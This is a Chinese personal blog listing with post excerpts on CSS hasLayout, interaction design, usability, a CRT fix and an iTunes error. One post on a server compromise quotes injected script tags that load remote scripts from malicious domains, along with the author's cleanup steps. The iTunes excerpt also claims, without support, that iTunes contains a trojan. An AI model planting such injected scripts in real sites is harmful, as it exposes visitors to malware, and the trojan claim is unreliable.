    Having “layout” We all know that browsers can be buggy, and IE on Windows seems buggier than most. One of the reasons IE/Win behaves differently from other browsers is because the rendering engine uses an internal concept called “layout.” Because layout is a concept particular to the internal working of the rendering engine, it is…

  • 拥有布局 IE haslayout

    找们那知道浏览器有bug,而且Windows上的lE的bug 似乎比太多数浏览器都多。IE/Win的衣现与其他浏览器不同的原因之一是,显示引擎使用一个称为布局(layout)的内部概念。因为布均是一个专门针对显示引擎内部工作方式的概念,所以一般悄况下不需要了解它。但是,布局问题是许多IE/Win显示bug的根源,所以理解这个概念以及它如何影响CSS是有捂助的。 什么是布局 Windows 上的IE 使用布局概念来控制元素的尺寸和定位。那些称为拥有布局(have layout)的元素负责本身及其子元素的尺寸和定位。如果一个元旦在没有拥有布局,那么它的尺寸和位置由最近的拥有布局的祖先元素控制。 IE 显示引擎利用布局概念减少它的处理开销。在理想悄况下,所有元素都控制自己的尺寸和定位。但是,这会在IE中导致很大的性能问题。因此,IE/Win 开发团队决定只将布局应用于实际需要它的那些元素,这样就可以充分地减少性能开销。 在默认情况下拥有布局的元素包括: body 标准模式中的 html table tr, td img hr input, select, textarea, button iframe, embed, object, applet marquee 布局概念是Windows 上的I E 特有的,而且它不是CS S 属性.尽管某些CSS 属性会使元ffi拥有布局,但是在CSS 巾无法显式地设宣布局.可以使用JavaScript 函数hasLayout 查看一个元亲是否拥有布局.如果元素拥有布局,这个函数就返回true ; 否则返回falseo hasLayout 是一个只读属性,所以无法使用JavaScript 选行设置. 设宜以下CSS 属性会自动地使元亲拥有布局· position: absolute float: left or right display: inline-block width: any…

  • XHTML CSS 学习总结

    IE的haslayout是个很纠结的东西,掌握好CSS就得掌握好它。初学CSS时走了很多弯路,以下几篇文章在我的学习中起了很大的作用,希望能让大家受益。 之前有翻译一篇on having layout的文章,我的翻译文章在这里:IE Haslayout 详解, 本文Having layout 的摘自 CSS Mastery Part 9, 实例部分是对之前翻译文章很好的补充,部分IE BUG很少用到,就略去了。直接阅读本文的中文版:IE拥有布局 追寻本源,上策攻心——学习技术以学习它的思想、方法为上策,掌握方法再学习技术会茅塞顿开。以下是关于CSS调试思路的文章,各人的角度不太一样,但大体上的思想是差不多的,互为补充。 我的文章:XHTML CSS调试的一些思路 我的文章:整理后的CSS Mastery 的章节 BUGS AND BUG FIXING (En), 臭虫以及臭虫解决方案(中文版) 淘宝UED 怿飞写的如何快速定位页面中复杂 CSS BUG 问题

  • 交互设计

    交互设计的定义,交互设计的目的,交互设计的价值,交互设计展开的时间,交互设计的方法,交互设计花费的时间,交互设计的文档

  • 信心膨胀-分析自己的淘宝之行

    感谢老包、娟姐!感谢淘宝 UED的青云、玄度、语凝、小马。到北京之后,反思了一下自己的杭州之行:自己太不成熟,许许多多的缺点也暴露出来了,学会了很多,长大了很多。 拜读了一篇文章:信心膨胀 记得那次怀着激动的心情租了《龙虎門》回来看。刚开始看到谢霆锋和甄子丹的出场那场打斗,的确譲人激动了一下。而看完老感觉没有《杀破狼》好看,什么原因自己也说不上来!过了几天上网遇到同学,和同学聊到这部影片.我问他看了感觉咋样?他说一般。我问为什么?他说动作场面精彩著,但甄子丹演的不真!我说你咋能那样说啊?(我算是甄子丹迷啊)他只说了一句一部成功的《杀破狼》譲甄子丹自信心高度膨胀… 他一句话譲我找到了《龙》为什么没有《杀》好看的原因!自信心高度膨胀!不只有甄子丹是这样,成龙在《神话》&《新警察故事》中都多多少少演的不是很真,和他早期的像《A计划》&《警察故事》等影片比起来,是差很多!李连杰在《霍元甲》中也是那样的,都给人一种不是在演戏一样,倒像是在做娱乐节目! 特别是中间那句话 一部成功的《杀破狼》譲甄子丹自信心高度膨胀… 与自己的情况好像,我只是在学校里的一点点可以忽略的成就,就以为自己多了不起了——其实这是坐井观天。经历了第一次正式的面试,淘宝UED的面试之后,发现自己许多缺点:骄傲,沉不住气,自以为是……工作前接受了这一次教训,让我在将来的工作中少走弯路。 向淘宝的语凝、玄度道歉,对我面试时候的态度表示诚挚的歉意!如果我是语凝、玄度,我也不会选择自己的。现在的我像极了文章里的主角,不同的是他有实力,而我的实力呢? 务实,务实。罔了自己多推崇中庸,现在的自己很浮躁、骄傲。 静以修身,简以养性。休息1天——反思,理性的思考,以一个旁人的眼光,看清自己,给自己一个正确的定位,不再自我陶醉,不在自欺欺人。学习,充电,摆正心态,认认真真面对下一次面试! 踏踏实实做事,实实在在做人。

  • Designing Interactions 交互设计读书笔记整理以及下载

    本文整理自UI乐园的《Designing Interactions》全书 PDF,和N2A的designing interactions读书笔记 新增所有文件打包下载地址:[download id=”12″] 《Designing Interactions》目前只有英文版本。很久就下载了,但一直没有仔细翻阅。具体到哪下载的我也忘记了。共享出来大家一起研磨。并这里有一篇pemiamos做的相关读书笔记。还有些由Stanford HCI 交互设计工作室推荐阅读内容。 Bill Moggridge,著名的设计公司 IDEO 的创始人之一。这本书里更是颇采访了不少重要人物,比如 Google 的两名创始人、世界上最伟大的 PC 游戏设计师之一 Will Wright,以及 Macintosh 团队重要成员之一 Bill Atkinson、Palm 的创始人 Jeff Hawkins…… 内容分为10个章节,并配有DVD的视频。我这里先上传了各章节的PDF提供大家下载。至于DVD视频,这里就没有空间放上来了,有机会再找地方共享。 Forword introduction DesigningInteractions_1.pdf DesigningInteractions_2.pdf DesigningInteractions_3.pdf DesigningInteractions_4.pdf DesigningInteractions_5.pdf DesigningInteractions_6.pdf DesigningInteractions_7.pdf DesigningInteractions_8.pdf DesigningInteractions_9.pdf DesigningInteractions_10.pdf Forword: What is Interaction Design?  前言:什么是交互设计? 这一章,是书的核心总览,很多东西都在这一章点到,在后续章节展开。Bill一上来就隆重推出了Gillian  Crampton  Smith阿姨,也许称其“交互设计之母”也不过分。1968从剑桥大学修完哲学和艺术史毕业,从事了十年设计师的生涯。很奇怪,专业不太对口的样子,但是后面就更神,1981这个阿姨竟然写了个排版的程序,以帮助她的杂志设计工作。这个经历让她相信: designers have an important role to…

  • 恭喜,恭喜!Diigo从LookSmart公司手上收购Furl! Diigo Buys Web Page Clipping Service Furl Away From LookSmart

    网易科技:中国互联网企业Diigo收购美国LookSmart资产 http://tech.163.com/09/0312/09/546P4OM2000915BF.html 凤凰财经:中国海外并购凸现第三条路径 http://finance.ifeng.com/news/hgjj/20090312/437462.shtml TechCrunch Diigo Buys Web Page Clipping Service Furl Away From LookSmart http://www.techcrunch.com/2009/03/09/diigo-buys-web-page-clipping-service-furl-away-from-looksmart/ Diigo Buys Web Page Clipping Service Furl Away From LookSmart by Robin Wauters on March 9, 2009 Social bookmarking and annotation service provider Diigo has acquired web page clipping and archiving service Furl from publicly listed search advertising network…

  • 网页可用性设计指导思路总结

    猛然在文档里翻到了,2年前看《点石成金 / Don’t make me think》做的笔记。 整体设计 核心思想:为扫描而设计,不为阅读而设计 理清层次 每个页面的层次关系应该是很清楚的 采用习惯 尽量利用我们已经习惯的用法 划分区域 把页面划分成明确定义的区域 明确提示 可点击,可操作的地方,给用户明显的标识 减少干扰 最大限度降低其他非重要元素产生的干扰 理清层次 越重要部分越突出,可以参考:页面重要区域划分 语义逻辑上相关的部分在视觉层次上也相关 进行合理的视觉上嵌套 主页设计 核心思想:能快速的让用户找到需要的东西,以及告诉用户如何开始。 主页需要展现的东西 标识站点 展示站点层次 导读 内容更新 友情链接 快速链接 网页可用性测试方法 快速扫描网页,然后回答如下问题: 这个网站是做什么的? 应该从什么地方开始?

  • DELL F992 显示器模糊

    DELL F992,CRT显示器。文字显示不清晰,是聚焦问题。打开后盖把高压包中间的旋钮调一下就好了,PS:不需要打开静电罩。 现在双显1440×900 + 1600×1200,上图了  

  • mdsfd木马临时解决方案

    服务器1月份就中马了,项目太紧,人太懒,又无关紧要,就一直没搭理它。小昭的BLOG纠结中,龚浩的BLOG纠结中……唉,没办法,小昭可乐都给我买了,不得不出山了。服务器上网站太多,不知是哪有漏洞,索性弄了一招治标不治本的,暂时顶着先。 症状: 网页被挂马,多了一句<script src=http://mdsfd.cn></script>,挂的恶意网站有如下等等:www.51jcjy.com www.rr88rr.cn,所有的JS文件均被添加了 document.writeln (“<script src=\”http://mdsfd.cn\”><\/script>”); document.writeln (“<script src=\”http://vawh5.cn\”><\/script>”); document.writeln (“<script src=\”http://lnadk.cn\”><\/script>”); 个别ASP文件被添加上了 <script src=http://mdsfd.cn></script> 删除之后过一段时间文件又被修改。排除ARP病毒,IIS配置文件被改的可能性,具体步骤不做讲解。查找木马的根源,无奈服务器上网站太多,没法子下手。遂先解决当前问题…… 现在采用了以下方案: 首先下载 文本替换专家 2.6,将恶意代码全部清除。 登录www.websafeguard.cn 下载 网站安全卫士-服务器版 配置一下就OK了。详细的设置查帮助文档。 后话 还有一哥们提供了方案,买他们的mdcsoft-ips软件,貌似可以从根源上防止问题。只不过这网站的名字 Mdcsoft(中国)研究院,Mdcsoft(中国)研发集团,够山寨

  • Phoenix Nirvana

    This illustration during my first summer vocation of my university life in 2006. With deeply love of vender, use Microsoft Expression Design to draw her. And this was sent to Emmy.Xiao as a gift.

  • 凤凰涅磐

    晒晒旧图:大学第一个暑假做的图,那时起就迷恋矢量。用的Microsoft Expression Design。参照一本杂志中的画做的,送给了XO姐姐。

  • Illustration collection of Alistapart

    Can not manage myself with the illustration of alistapart for its clear and funny style, since the first time i saw her. So create A Illustration Collection Of Alistapart, almost all illustration included. If anyone miss, a message to me would be great appreciate! Hope it will help. The illustrations below is updated: Issue 276…

  • Alistapart 插画收集

    一直都特喜欢alistapart的插画,太安逸了,简直无法自拔……那简洁的风格,犀利的思想……哈哈,扯远了。 赶紧整理出来,弄出一个 Alistapart插画收集。囊括了所有文章中的插画,若不慎遗漏,请指出,在下立即添上。 谢谢大家支持,希望这些东西对大家有用。 最近更新插画时间 Issue 276 January 20, 2009 下载:[download#10](图片和目录都有)

  • XHTML CSS Tools collection

    organize tools of xhtml and css from the web, in order to use it as i like. css filters (css hacks),css filters for different browsers tests: text-decoration css filters (css hacks),css filters for different browsers HTML demo:css filters (css hacks) original article:css filters (css hacks) download source:[download#9] tests: text-decoration HTML demo:tests: text-decoration original article:RichInStyle.com tests:…

  • CSS XHTML 相关资源整合

    本文为慢慢整合,日积月累就多了。 css 过滤器,CSS 浏览器兼容表 text-decoration属性详解 css 过滤器,CSS 浏览器兼容表 HTML:css filters (css hacks) 原文:css filters (css hacks) 下载: text-decoration属性详解 HTML: tests: text-decoration 原文:RichInStyle.com tests: text-decoration

  • iTunes无法从同步服务中载入数据类信息 请重新连接或稍后再试一次

    iTunes无法从同步服务中载入数据类信息 请重新连接或稍后再试一次,查了资料,这个最靠谱:iTunes无法从同步服务中载入数据类信息 请重新连接或稍后再试一次 我用的方法: 问题出在杀毒软件上,准确的说是"瑞星卡卡上网助手", 把"木马行为判断与拦截""IE防漏墙""木马下载拦截"三项关闭后问题解决, 可能有些朋友未装"卡卡",如出现上述问题,我分析还是跟杀毒软件有关,把关于"木马拦截"或修复浏览器漏洞的所有软件关掉应该能解决问题.根据以上分析,可以确定"ITUNES8"应该包含木马. 原文整理得蛮好,转一下: